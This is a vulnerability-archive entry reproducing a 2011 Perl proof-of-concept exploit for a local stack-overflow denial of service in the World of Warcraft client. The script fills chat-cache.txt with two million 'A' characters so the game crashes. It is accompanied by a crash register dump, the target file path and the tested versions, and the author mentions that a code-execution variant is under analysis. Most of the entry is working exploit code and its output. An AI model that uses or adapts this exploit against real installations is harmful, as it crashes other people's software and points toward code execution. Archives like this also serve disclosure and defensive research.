发布 2011-09-05 漏洞条目

World Of Warcraft – ‘chat-cache.txt’ Local Stack Overflow Denial of Service

Exploit Source

#!/usr/bin/perl

#Exploit Title:

#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)

#Date: 04/09/2011

#Author: BSOD Digital (Fabien DROMAS)

#Other details:"Code Exec" Exploit in analysis.

#Tests:

#OS: Windows 7

#Versions: burning crusade,cataclism, Demo Version.

#Path:

#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt

#Error:

#This application has encountered a critical error:

#ERROR #132 (0x85100084) Fatal exception!

#Program: D:\World of Warcraft\Wow.exe

#ProcessID: 92024

#Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97

#Registers:

#----------------------------------------

# x86 Registers

#----------------------------------------

#EAX=000F2000 EBX=1BD920D8 ECX=000CC22C EDX=00000000 ESI=0012366F

#EDI=00000000 EBP=001EFC5C ESP=001EF8A4 EIP=0109DA97 FLG=00010206

#CS =0023 DS =002B ES =002B SS =002B FS =0053 GS =002B

my $file = "chat-cache.txt";

my $dos_junk = "A" x 2000000;

open($File, ">$file");

print $File $dos_junk;

close($File);

相关漏洞条目